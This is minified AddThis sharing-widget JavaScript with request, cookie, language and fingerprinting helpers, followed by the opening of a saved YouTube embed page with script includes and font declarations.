0!==arguments[0]?arguments[0]:"callback",t=(0,c.default)(window._ate),n=t.storeCallback,r=n("jsonp_",Math.random().toString().slice(2),function(){this._responseCount++,i(this._loadCallbacks,arguments)}.bind(this));return this._addParam({type:y,key:e,value:r}),this._type=O,this}},{key:"pixel",value:function(){return this._type=C,this}},{key:"beacon",value:function(){return this._type=j,this}},{key:"cors",value:function(e){return this._type=S,"POST"===e.toUpperCase()?this._method="POST":this._method="GET",this}},{key:"go",value:function(e){this._paramValues=e;var t=this._processValues(e),n=t.errors,r=t.query;n.length?(this._dataErrorCallbacks.length?i(this._dataErrorCallbacks,n):n.forEach(function(e){return console.error(e)}),this._force&&this._request(r)):this._request(r)}},{key:"getRequestCount",value:function(){return this._requestCount}},{key:"getResponseCount",value:function(){return this._responseCount}},{key:"required",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return this._addParam({type:k,key:e,test:t}),this}},{key:"optional",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return this._addParam({type:b,key:e,test:t}),this}},{key:"optionalWithUnencodedValue",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return this._addParam({type:x,key:e,test:t}),this}},{key:"always",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;return this._addParam({type:w,key:e,test:t}),this}},{key:"constant",value:function(e,t){return(0,m.default)(void 0!==t,"%s: the constant query param %s missing value",this._url,e),this._addParam({type:y,key:e,value:t}),this}},{key:"multiple",value:function(){return this._lastKey&&(this._multi[this._lastKey]=!0),this}},{key:"onDataError",value:function(e){return this._dataErrorCallbacks.push(e),this}},{key:"onError",value:function(e){return this._errorCallbacks.push(e),this}},{key:"onLoad",value:function(e){return this._loadCallbacks.push(e),this}},{key:"force",value:function(e){return this._force=Boolean(e),this}},{key:"_addParam",value:function(e){var t=e.type,n=e.key,r=e.test,a=e.value;(0,m.default)(!this._paramNames[n],"%s: the param %s was already added to the request and cannot be overridden!",this._url,n),this._paramNames[n]=!0,this._lastKey=n,this._params.push({type:t,key:n,test:r,value:a})}},{key:"_testPasses",value:function(e){var t=e.key,n=e.value,r=e.test,a=e.multi;if(a){(0,m.default)(n instanceof Array,"%s: the multi param %s needs to be an array, got %s",this._url,t,n);for(var i=0;i<n.length;i++)if(this._testPasses({key:t,value:n[i],test:r,multi:!1}))return!1;return!0}return r instanceof RegExp?r.test(n):!(r instanceof Function)||r(n)}},{key:"_encodePair",value:function(e,t){return t instanceof Object&&null!==t&&(t=JSON.stringify(t)),encodeURIComponent(e)+"="+encodeURIComponent(t)}},{key:"_encodeKeyOnly",value:function(e,t){return encodeURIComponent(e)+"="+t}},{key:"_processValues",value:function(e){for(var t=[],n=[],r=0;r<this._params.length;r++){var a=this._params[r],i=a.type,o=a.key,s=a.test,u=Boolean(this._multi[o]),c=void 0!==this._params[r].value?this._params[r].value:e[o];try{switch(i){case y:(0,m.default)(u||void 0===e[o],"%s: the constant param %s cannot be overridden and multiple values are not allowed",this._url,o),n.push(this._encodePair(o,c));break;case k:(0,m.default)(this._testPasses({test:s,value:c,key:o,multi:u}),"%s: the required param %s was provided an invalid value of %s",this._url,o,c),n.push(this._encodePair(o,c));break;case b:(0,m.default)(void 0===c||this._testPasses({test:s,value:c,key:o,multi:u}),"%s: the optional param %s was provided an invalid value of %s",this._url,o,c),void 0!==c&&n.push(this._encodePair(o,c));break;case x:(0,m.default)(void 0===c||this._testPasses({test:s,value:c,key:o,multi:u}),"%s: the optional unencoded value param %s was provided an invalid value of %s",this._url,o,c),void 0!==c&&n.push(this._encodeKeyOnly(o,c));break;case w:(0,m.default)(void 0===c||this._testPasses({test:s,value:c,key:o,multi:u}),"%s: the always included param %s was provided an invalid value of %s",this._url,o,c),n.push(this._encodePair(o,void 0!==c?c:""))}}catch(e){t.push(e)}}return{query:n.join("&"),errors:t}}},{key:"getUrl",value:function(e){var t=void 0;return"function"==typeof this._urlCallback?(t=this._urlCallback(e,this._paramValues),this._url=t):t=this._url+"?"+e,t}},{key:"_request",value:function(e){var t=this,n=this.getUrl(e),r=void 0;if((0,m.default)(this._type===C||this._type===O||this._type===j||this._type===S,"%s: unrecognized type %s, aborting",this._url,this._type),this._type===C)r=new Image,r.src=n,r.onload=function(){t._responseCount++,i(t._loadCallbacks)},r.onerror=function(){i(t._errorCallbacks)};else if(this._type===O){var a=o(n);I&&a?r=(0,d.default)(n,1,void 0,void 0,void 0,!0):(r=(0,d.default)(n,1),a&&(I=!0)),"number"!=typeof r&&(r.onerror=function(){i(t._errorCallbacks)})}else if(this._type===j)(0,_.default)(n,"{}");else if(this._type===S){var s={url:n,method:this._method,onSuccess:function(e){i(t._loadCallbacks,[e])},onFailure:function(){i(t._errorCallbacks)}};(0,g.default)(s)}this._requestCount++}}]),e}();t.default=T,e.exports=t.default},function(e,t,n){"use strict";var r=n(60);e.exports=function(e){return e?(e.cbs=e.cbs||{},r("_ate.cbs")):window.addthis?(addthis.cbs=addthis.cbs||{},r("addthis.cbs")):void 0}},function(module,exports){var w=window,euc=w.encodeURIComponent,times={},timeouts={},callbacks,pageCallbacks={};module.exports=function(globalObjectString){function storeCallback(e,t,n,r,a){t=euc(t).replace(/[0-3][A-Z]|[^a-zA-Z0-9]/g,"").toLowerCase(),pageCallbacks[t]=pageCallbacks[t]||0;var i=pageCallbacks[t]++,o=e+"_"+t+(a?"":i);return callbacks[o]||(callbacks[o]=function(){timeouts[o]&&clearTimeout(timeouts[o]),n.apply(this,arguments)}),times[o]=(new Date).getTime(),r&&(clearTimeout(timeouts[o]),timeouts[o]=setTimeout(r,1e4)),globalObjectString+"."+euc(o)}function getCallbackCallTime(e){return times[e]}try{callbacks=eval(globalObjectString)}catch(e){throw new Error("Must pass a string which will eval to a globally accessible object where callbacks will be stored")}return{storeCallback:storeCallback,getCallbackCallTime:getCallbackCallTime}}},function(e,t,n){"use strict";var r=function(e,t,n,r,a,i,o,s){if(!e){var u;if(void 0===t)u=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[n,r,a,i,o,s],l=0;u=new Error("Invariant Violation: "+t.replace(/%s/g,function(){return c[l++]}))}throw u.framesToPop=1,u}};e.exports=r},function(e,t){"use strict";var n=[function(e,t){return navigator.sendBeacon(e,t)},function(e){var t=new Image;return t.src=e,!0}],r=navigator.sendBeacon instanceof Function?0:Math.floor(Math.random()*(n.length-1)+1);e.exports=n[r],e.exports.polyfillMethodID=r},function(e,t,n){"use strict";function r(){}function a(e,t){return setTimeout(function(){t({statusText:e||"Something went wrong."})},0),null}function i(e){e=e||{};var t,i,o=e.onFailure||r,s=e.onSuccess||r,u="POST"===(e.method||"").toUpperCase()?"POST":"GET",c=e.withCredentials===!0,l=e.timeoutMs||1e4;if("undefined"==typeof XMLHttpRequest)return a("Your browser does not support this method.",o);if("GET"!==u&&"POST"!==u)return a("This method is not supported.",o);if(t=new XMLHttpRequest,i="withCredentials"in t)return t.open(u,e.url||"",!0),"POST"===u&&t.setRequestHeader("Content-type",e.contentType||"application/json"),t.timeout=l,t.withCredentials=c,t.onreadystatechange=function(){4===t.readyState&&(t.status>=400||0===t.status?o(t):s(t))},t.send(e.data||null);if(!c&&window.XDomainRequest){t=new XDomainRequest;var d;if(e.url){var f=n(1),p=f.du.split("//")[0];d=p+"//"+e.url.split("//")[1]}return t.open(u,d||""),t.onload=function(){s(t)},t.onerror=function(){o(t)},t.onprogress=r,t.ontimeout=r,t.timeout=l,t.send(e.data||null)}return a("Your browser does not support cross-origin requests.",o)}e.exports=i},function(e,t){"use strict";function n(e){return e===parseInt(e)}Object.defineProperty(t,"__esModule",{value:!0}),t.default=n,e.exports=t.default},function(e,t){"use strict";function n(){var e=arguments;return function(t){for(var n=0;n<e.length;n++)if(e[n]===t)return!0;return!1}}Object.defineProperty(t,"__esModule",{value:!0}),t.default=n,e.exports=t.default},function(e,t,n){"use strict";function r(e){e.forEach(function(e){var t=e.delay;e.delay=(0,a.array)(t)&&t.length?t:[0]});var t=e.map(function(e){var t=e.delay;return t.map(function(t){return{delay:t,pixels:[e]}})}).reduce(function(e,t){return e.concat(t)},[]).reduce(function(e,t){var n=t.delay,r=t.pixels;return e[n]=(e[n]||[]).concat(r),e},{});return Object.keys(t).map(function(e){return{delay:Number(e),pixels:t[e]}})}Object.defineProperty(t,"__esModule",{value:!0}),t.default=r;var a=n(16);e.exports=t.default},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function a(){var e=Boolean(_ate.cookie.cww());u!==e&&(u=e,(0,s.default)({addthisxf:"addthis-internal.cookie.status",payload:{cookiable:u}}))}function i(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1e3;a(),setInterval(a,e)}Object.defineProperty(t,"__esModule",{value:!0}),t.default=i;var o=n(7),s=r(o),u=null;e.exports=t.default},function(e,t,n){var r=n(69);e.exports=function(e){return(e||r()).split("-").shift()}},function(e,t,n){"use strict";var r=n(70),a=n(29);e.exports=function(){var e,t,n;r(window.addthis_language)?e=window.addthis_language:window.addthis_config&&r(window.addthis_config.ui_language)?e=window.addthis_config.ui_language:window.addthis_config&&r(window.addthis_config.lang)?e=window.addthis_config.lang:r(document.documentElement.lang)&&(e=document.documentElement.lang);var i=r(e);return 1===i?n=e:"string"==typeof i&&(n=i),n||(t=a("msi")?navigator.userLanguage:navigator.language,i=r(t),1===i?n=t:"string"==typeof i&&(n=i)),n||(n="en"),n}},function(e,t,n){var r=n(71);e.exports=function(e){var t;return"[object String]"!==Object.prototype.toString.call(e)?0:(t=e.split("-").shift(),r.hasOwnProperty(e)?r[e]:r.hasOwnProperty(t)?1===r[t]?t:r[t]:0)}},function(e,t){e.exports={af:1,afr:"af",ar:1,ara:"ar",az:1,aze:"az",be:1,bye:"be",bg:1,bul:"bg",bn:1,ben:"bn",bs:1,bos:"bs",ca:1,cat:"ca",cs:1,ces:"cs",cze:"cs",cy:1,cym:"cy",da:1,dan:"da",de:1,deu:"de",ger:"de",el:1,gre:"el",ell:"el",en:1,eo:1,es:1,esl:"es",spa:"es",et:1,est:"et",eu:1,fa:1,fas:"fa",per:"fa",fi:1,fin:"fi",fo:1,fao:"fo",fr:1,fra:"fr",fre:"fr",ga:1,gae:"ga",gdh:"ga",gl:1,glg:"gl",gu:1,he:1,heb:"he",hi:1,hin:"hi",hr:1,ht:1,hy:1,cro:"hr",hu:1,hun:"hu",id:1,ind:"id",is:1,ice:"is",it:1,ita:"it",iu:1,ike:"iu",iku:"iu",ja:1,jpn:"ja",km:1,ko:1,kor:"ko",ku:1,lb:1,ltz:"lb",lt:1,lit:"lt",lv:1,lav:"lv",mk:1,mac:"mk",mak:"mk",ml:1,mn:1,ms:1,msa:"ms",may:"ms",my:1,bur:"my",mya:"my",nb:1,nl:1,nla:"nl",dut:"nl",no:1,nds:1,nn:1,nno:"no",oc:1,oci:"oc",pl:1,pol:"pl",ps:1,pt:1,por:"pt",ro:1,ron:"ro",rum:"ro",ru:1,rus:"ru",sk:1,slk:"sk",slo:"sk",sl:1,slv:"sl",sq:1,alb:"sq",sr:1,se:1,si:1,ser:"sr",su:1,sv:1,sve:"sv",sw:1,swe:"sv",ta:1,tam:"ta",te:1,teg:"te",th:1,tha:"th",tl:1,tgl:"tl",tn:1,tr:1,tur:"tr",tpi:1,tt:1,uk:1,ukr:"uk",ur:1,urd:"ur",vi:1,vec:1,vie:"vi","zh-cn":1,"zh-hk":1,"chi-hk":"zh-hk","zho-hk":"zh-hk","zh-tw":1,"chi-tw":"zh-tw","zho-tw":"zh-tw",zh:1,chi:"zh",zho:"zh","zh-tr":"zh","chi-tr":"zh","zho-tr":"zh"}},function(e,t){"use strict";function n(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}function r(e){for(var t=arguments.length,a=Array(t>1?t-1:0),i=1;i<t;i++)a[i-1]=arguments[i];if(a.length<1)return e;if(a.length>1)return r(e,r.apply(void 0,[a[0]].concat(n(a.slice(1)))));var o=e.reduce(function(e,t){return e[t]=!0,e},{});return a[0].forEach(function(t){o[t]||(o[t]=!0,e.push(t))}),e}Object.defineProperty(t,"__esModule",{value:!0}),t.default=r,e.exports=t.default},function(e,t,n){e.exports=function(e,t,r){var a=n(16),i=a.array,o=a.object,s=a.function,u=o(e),c=i(e),l=c?[]:{},d=r||this;if(!s(t))throw new TypeError(t+" is not a function");if(c)return e.filter(function(n,r){return t&&t.call(d,r,n,e)});if(u){for(var f in e)e.hasOwnProperty(f)&&t&&t.call(d,f,e[f],e)&&(l[f]=e[f]);return l}return[]}},function(e,t,n){var r=n(11),a=n(12);e.exports=function e(t,n,i){var o=window.decodeURIComponent;return t=t||"",n=n||"&",i=i||"=",r(t.split(n),function(t,r){try{var s=r.split(i),u=a(o(s[0])),c=a(o(s.slice(1).join(i)));(c.indexOf(n)>-1||c.indexOf(i)>-1)&&(c=e(c,n,i)),u&&(t[u]=c)}catch(e){}return t},{})}},function(e,t){function n(e,t,n,r){t&&(t.attachEvent?t[(e?"detach":"attach")+"Event"]("on"+n,r):t[(e?"remove":"add")+"EventListener"](n,r,!1))}function r(e,t,r){n(!1,e,t,r)}function a(e,t,r){n(!0,e,t,r)}e.exports={listen:r,unlisten:a}},function(e,t){e.exports=function(e,t,n){var r,a=[];if(n=void 0!==n?n:this,null===e||void 0===e)return a;for(r in e)e.hasOwnProperty(r)&&a.push(t.call(n,e[r],r));return a}},function(e,t){e.exports=function e(t){if(null==t||"object"!=typeof t)return t;if(t instanceof Object){var n={};if("function"==typeof t.hasOwnProperty)for(var r in t)n[r]!==t&&t.hasOwnProperty(r)&&void 0!==t[r]&&(n[r]=e(t[r]));return n}return null}},function(e,t){"use strict";function n(e,t,n){var a="",i=0,o=-1;if(void 0===n&&(n=300),e&&(a=e.substr(0,n),a!==e&&((o=a.lastIndexOf("%"))>=a.length-4&&(a=a.substr(0,o)),a!==e))){for(var s in r)r[s]!==t||(i=1);i||r.push(t)}return a}var r=[];e.exports={truncationList:r,truncateURL:n}},function(e,t,n){var r,a=window,i=a.console,o=0,s=!i||"undefined"==typeof i.log,u=(Array.prototype.slice,["error","warn","info","debug"]),c=u.length;try{!s&&a.location.hash.indexOf("atlog=1")>-1&&(o=1)}catch(e){}for(r={level:o};--c>=0;)!function(e,t){r[t]=s?function(){}:function(){}}(c,u[c]);e.exports=r},function(e,t,n){function r(e,t){var n=this,r=0,c=0,l=!!t,d=(l?o:"")+e,f={},p=i.encodeURIComponent,m=i.decodeURIComponent;this.toString=function(){return Object.keys(f).map(function(e){var t=f[e];return p(e)+u+(void 0===t||null===t?"":p(t))}).join(s)},this.get=function(){return n.load(),f},this.load=function(){if(!r){var e=a.rck(d)||"";if(e){var t=e.split(s);t.forEach(function(e){var t=e.split(u);2===t.length&&(c++,f[m(t[0])]=m(t[1]))})}r=1}return f},this.save=function(){this.load(),c?a.sck(d,n.toString(),l,l):a.kck(d)},this.add=function(e,t){n.load(),c++,f[e]=t,n.save()},this.remove=function(e){n.load(),f[e]&&(delete f[e],c--),n.save()},this.reset=function(){f={},c=0,n.save()}}var a=n(28);e.exports=r;var i=window,o="__at",s="|",u="/"},function(e,t,n){function r(){x=0,b={},y=[]}function a(e){return e>h.high?3:e>h.med?2:1}function i(){var e,t=[];s();for(e in b)t.push({name:e,score:a(b[e])});return t.sort(function(e,t){return e.score>t.score?1:-1}),t}function o(){s();var e,t={};for(e in b)t[e]=a(b[e]);return t}function s(){var e,t;if(!x){var e,n,r,a,i=(m.rck(k)||"").split(",");for(e=0,t=i.length;e<t;e++)n=i[e].split(";"),r=n.pop(),a=n.pop()||"",b[a]=r,y.push(a),r>O&&(O=r,p=a);x=1}}function u(e){return b.hasOwnProperty(e)}function c(){for(var e,t=!1,n=(m.rck("sshs")||"").split(",");t===!1&&0!==n.length;)e=n.pop(),b.hasOwnProperty(e)&&b[e]==Math.min(b)&&(t=e);t===!1&&(t=y.pop()),delete b[t]}function l(){var e,t={},n=[];for(e in b)b.hasOwnProperty(e)&&b[e]/2>=1&&(t[e]=parseInt(b[e]/2),n.push(e));b=t,y=n}function d(e){if(s(),"string"!=typeof e)return!1;if(e=e.replace(/_[a-zA-Z0-9]*/i,""),w===!1){w=!0,y.length+1>=v&&!u(e)&&c(),u(e)?b[e]++:b[e]="1",b[e]>=g&&l();var t=f(b);m.sck(k,escape(t),!1,!_)}}function f(e){var t,n,r=[];if("object"!=typeof e)return!1;for(n in e)n.length>1&&r.push(n+";"+e[n]);return t=r.join(",")}var p,m=n(28),h={high:4,med:2},_=document.location.href.indexOf(".addthis.com".substr(1))>-1,v=10,g=20,k=(_?"":"__at")+"ssc",b={},w=!1,y=[],x=0,O=0;e.exports={reset:r,get:o,getServices:i,update:d}},function(e,t,n){function r(){return C.slice(-5).join(w)}function a(e){if(!y||e){var t=m.rck(k)||"";t&&(C=_(t).split(w)),y=1}}function i(e){var t,n,r,a,i,o=new Date(e.getFullYear(),0,1);return t=o.getDay(),t=t>=0?t:t+7,n=Math.floor((e.getTime()-o.getTime()-6e4*(e.getTimezoneOffset()-o.getTimezoneOffset()))/864e5)+1,t<4?(i=Math.floor((n+t-1)/7)+1,i>52&&(r=new Date(e.getFullYear()+1,0,1),a=r.getDay(e),a=a>=0?a:a+7,i=a<4?1:53)):i=Math.floor((n+t-1)/7),i}function o(e,t,n){for(var r=0;r<t;r++){var a=n+r;a>=51&&(a=1),e.push("0"+b+a)}}function s(){if(!x){var e=i(g);a(),u(e),x=1}}function u(e){var t,n;C.length?(t=C[C.length-1],n=parseInt(t.split(b).pop(),10),n==e?C[C.length-1]=parseInt(t.split(b).shift(),10)+1+b+e:n+1==e||n>=51?C.push("1"+b+e):n<e?(o(C,e-n-1,n+1),C.push("1"+b+e)):n>e&&(C=[],C.push("1"+b+e)),C.length>5&&C.slice(-5)):C.push("1"+b+e)}function c(e){a(),C.length&&m.sck(k,v(r()),0,e)}function l(e){a(),s(),c(e)}function d(){var e=[];a();for(var t=0;t<C.length;t++)e.push(C[t].split(b).shift());return e.slice(-5)}function f(){for(var e=d(),t=0,n=0;n<e.length;n++)t+=parseInt(e[n],10)||0;return t>O.high?3:t>O.med?2:t>x?1:0}function p(){y=0,x=0,C=[]}var m=n(28),h=n(50);e.exports={reset:p,update:l,get:d,cla:f,toKV:r};var _=window.decodeURIComponent,v=window.encodeURIComponent,g=new Date,k=(h(document.location.href)?"":"__at")+"uvc",b="|",w=",",y=0,x=0,O={high:250,med:75},C=[]},function(e,t){function n(e){for(var t,n,r,a,i,s,u,c="",l=0;l<e.length;)t=e.charCodeAt(l++),n=e.charCodeAt(l++),r=e.charCodeAt(l++),a=t>>2,i=(3&t)<<4|n>>4,s=(15&n)<<2|r>>6,u=63&r,isNaN(n)?s=u=64:isNaN(r)&&(u=64),c+=o.charAt(a)+o.charAt(i)+o.charAt(s)+o.charAt(u);return c}function r(e){var t,n,r,a,i,s,u,c="",l=0;for(e=e.replace(/[^A-Za-z0-9\-_\=]/g,"");l<e.length;)a=o.indexOf(e.charAt(l++)),i=o.indexOf(e.charAt(l++)),s=o.indexOf(e.charAt(l++)),u=o.indexOf(e.charAt(l++)),t=a<<2|i>>4,n=(15&i)<<4|s>>2,r=(3&s)<<6|u,c+=String.fromCharCode(t),64!=s&&(c+=String.fromCharCode(n)),64!=u&&(c+=String.fromCharCode(r));return c}function a(e){var t,n,r,a,i,s="",u=0;if(/^[0-9a-fA-F]+$/.test(e))for(;u<e.length;)t=parseInt(e.charAt(u++),16),n=parseInt(e.charAt(u++),16),r=parseInt(e.charAt(u++),16),a=t<<2|(isNaN(r)?3&n:n>>2),i=(3&n)<<4|r,s+=o.charAt(a)+(isNaN(r)?"":o.charAt(i));return s}function i(e){for(var t,n,r,a,i,s="",u=0;u<e.length;)a=o.indexOf(e.charAt(u++)),i=u>=e.length?NaN:o.indexOf(e.charAt(u++)),t=a>>2,n=isNaN(i)?3&a:(3&a)<<2|i>>4,r=15&i,s+=t.toString(16)+n.toString(16)+(isNaN(i)?"":r.toString(16));return s}var o="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_=",s=window;e.exports={atob:s.atob?function(){return s.atob.apply(s,arguments)}:r,btoa:s.btoa?function(){return s.btoa.apply(s,arguments)}:n,hbtoa:a,atohb:i}},function(e,t){e.exports=function(){return navigator.doNotTrack&&"unspecified"!==navigator.doNotTrack&&"no"!==navigator.doNotTrack&&"0"!=navigator.doNotTrack}},function(e,t){e.exports={DIRECT:0,SEARCH:1,ON_DOMAIN:2,OFF_DOMAIN:4}},function(e,t){e.exports={NOOP:-1,CLICK:50,VIEW:100,POP:200,COPY:250,SHARE:300,FOLLOW:350,COMMENT:375,CUSTOM:2e3,ENGAGEMENT:2100}},function(e,t,n){var r=n(6),a=window;e.exports=function(){var e,t=r(navigator.userAgent,16),n=(new Date).getTimezoneOffset()+""+navigator.javaEnabled()+(navigator.userLanguage||navigator.language),i=a.screen.colorDepth+""+a.screen.width+a.screen.height+a.screen.availWidth+a.screen.availHeight,o=navigator.plugins;try{if(e=o.length,e>0)for(var s=0;s<Math.min(10,e);s++)s<5?n+=o[s].name+o[s].description:i+=o[s].name+o[s].description}catch(e){}return t.substr(0,2)+r(n,16).substr(0,3)+r(i,16).substr(0,3)}},function(e,t,n){var r=n(89);e.exports=function(e){var t=".com/",n=".org/",a=(e||"").toLowerCase(),i=0;return a&&a.match(/ws\/results\/(web|images|video|news)/)?i=1:a&&a.indexOf(!1)&&(a.match(/google.*\/(search|url|aclk|m\?)/)||a.indexOf("/pagead/aclk?")>-1||a.indexOf(t+"url")>-1||a.indexOf(t+"l.php")>-1||a.indexOf("/search?")>-1||a.indexOf("/search/?")>-1||a.indexOf("search?")>-1||a.indexOf("yandex.ru/clck/jsredir?")>-1||a.indexOf(t+"search")>-1||a.indexOf(n+"search")>-1||a.indexOf("/search.html?")>-1||a.indexOf("search/results.")>-1||a.indexOf(t+"s?bs")>-1||a.indexOf(t+"s?wd")>-1||a.indexOf(t+"mb?search")>-1||a.indexOf(t+"mvc/search")>-1||a.indexOf(t+"web")>-1||a.match(/aol.*\/aol/)||a.indexOf("hotbot"+t)>-1)&&0!=r(e)&&(i=1),Boolean(i)}},function(e,t){e.exports=function(e){var t,n,r=e.split("?").pop().toLowerCase().split("&"),a=/^(?:q|search|bs|wd|p|kw|keyword|query|qry|querytext|text|searchcriteria|searchstring|searchtext|sp_q)=(.*)/i;for(n=0;n<r.length;n++)if(t=a.exec(r[n]))return t[1];return!1}},function(e,t,n){var r=n(31).getHost,a=n(85),i=n(88);e.exports=function(e,t,n){var o=a.DIRECT;return n=void 0===n||n||"https:"==window.location.protocol,t=r(void 0===t?window.location.href:t),e&&(o|=t===r(e)?a.ON_DOMAIN:a.OFF_DOMAIN),!n&&i(e)&&(o|=a.SEARCH),o}}]);</script></body></html>
\ No newline at end of file
<!DOCTYPE html>
<!-- saved from url=(0041)https://www.youtube.com/embed/uu6rZuEOzh0 -->
<html lang="zh-Hans-CN" dir="ltr" data-cast-api-enabled="true"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><script data-original-src="/s/player/5dd3f3b2/player_ias.vflset/zh_CN/embed.js" src="./embed.js.下载"></script><script id="js-1449284543" src="./PbZvCEkorD5rxjWOexle1_regFmuc5-vrUA2zacPm4s.js.下载" data-loaded="true"></script><script data-original-src="/s/player/5dd3f3b2/player_ias.vflset/zh_CN/remote.js" src="./remote.js.下载"></script><script id="js-1124342058" src="./ad_status.js.下载" data-loaded="true"></script><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="robots" content="noindex"><style name="www-roboto">@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu5mxKOzY.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7mxKOzY.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4WxKOzY.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7WxKOzY.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2)format('woff2');unicode-range:U+0100-024F,U+0259,U+1E00-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:400;src:url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2)format('woff2');unicode-range:U+0100-024F,U+0259,U+1E00-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:normal;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2)format('woff2');unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc3CsTKlA.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc-CsTKlA.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc2CsTKlA.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc5CsTKlA.woff2)format('woff2');unicode-range:U+0370-03FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc1CsTKlA.woff2)format('woff2');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+1EA0-1EF9,U+20AB;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc0CsTKlA.woff2)format('woff2');unicode-range:U+0100-024F,U+0259,U+1E00-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc6CsQ.woff2)format('woff2');un